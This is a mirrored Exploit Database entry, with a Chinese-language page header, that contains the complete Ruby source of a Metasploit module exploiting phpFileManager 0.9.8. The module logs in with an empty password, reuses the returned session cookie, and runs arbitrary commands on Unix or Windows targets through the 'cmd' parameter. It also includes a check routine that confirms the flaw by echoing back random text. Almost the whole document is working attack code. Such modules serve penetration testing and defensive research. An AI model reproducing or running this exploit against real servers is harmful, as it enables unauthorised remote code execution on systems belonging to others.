phpFileManager 0.9.8 – Remote Code Execution (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2015-12-08
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38900/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
  super(update_info(info,
  'Name' => 'phpFileManager 0.9.8 Remote Code Execution',
  'Description'=> %q{
   This module exploits a remote code execution vulnerability in phpFileManager
   0.9.8 which is a filesystem management tool on a single file.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'hyp3rlinx', # initial discovery
  'Jay Turla' # msf
  ],
  'References' =>
  [
  [ 'EDB', '37709' ],
  [ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website
  ],
  'Privileged' => false,
  'Payload'=>
  {
  'Space'=> 2000,
  'DisableNops' => true,
  'Compat'=>
  {
  'PayloadType' => 'cmd'
  }
  },
  'Platform' => %w{ unix win },
  'Arch' => ARCH_CMD,
  'Targets'=>
  [
  ['phpFileManager / Unix', { 'Platform' => 'unix' } ],
  ['phpFileManager / Windows', { 'Platform' => 'win' } ]
  ],
  'DisclosureDate' => 'Aug 28 2015',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']),
  ],self.class)
  end
  
  def check
  txt = Rex::Text.rand_text_alpha(8)
  res = http_send_command("echo #{txt}")
  
  if res && res.body =~ /#{txt}/
  return Exploit::CheckCode::Vulnerable
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def push
  uri = normalize_uri(target_uri.path)
  
  # To push the Enter button
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => uri,
  'vars_post' => {
  'frame' => '3',
  'pass'=> '' # yep this should be empty
   }
  })
  
  if res.nil?
  vprint_error("#{peer} - Connection timed out")
  fail_with(Failure::Unknown, "Failed to trigger the Enter button")
  end
  
  if res && res.headers && res.code == 302
  print_good("#{peer} - Logged in to the file manager")
  cookie = res.get_cookies
  cookie
  else
  fail_with(Failure::Unknown, "#{peer} - Error entering the file manager")
  end
  end
  
  def http_send_command(cmd)
  cookie = push
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path),
  'cookie' => cookie,
  'vars_get' => {
  'action' => '6',
  'cmd' => cmd
  }
  })
  unless res && res.code == 200
  fail_with(Failure::Unknown, "Failed to execute the command.")
  end
  res
  end
  
  def exploit
  http_send_command(payload.encoded)
  end
  end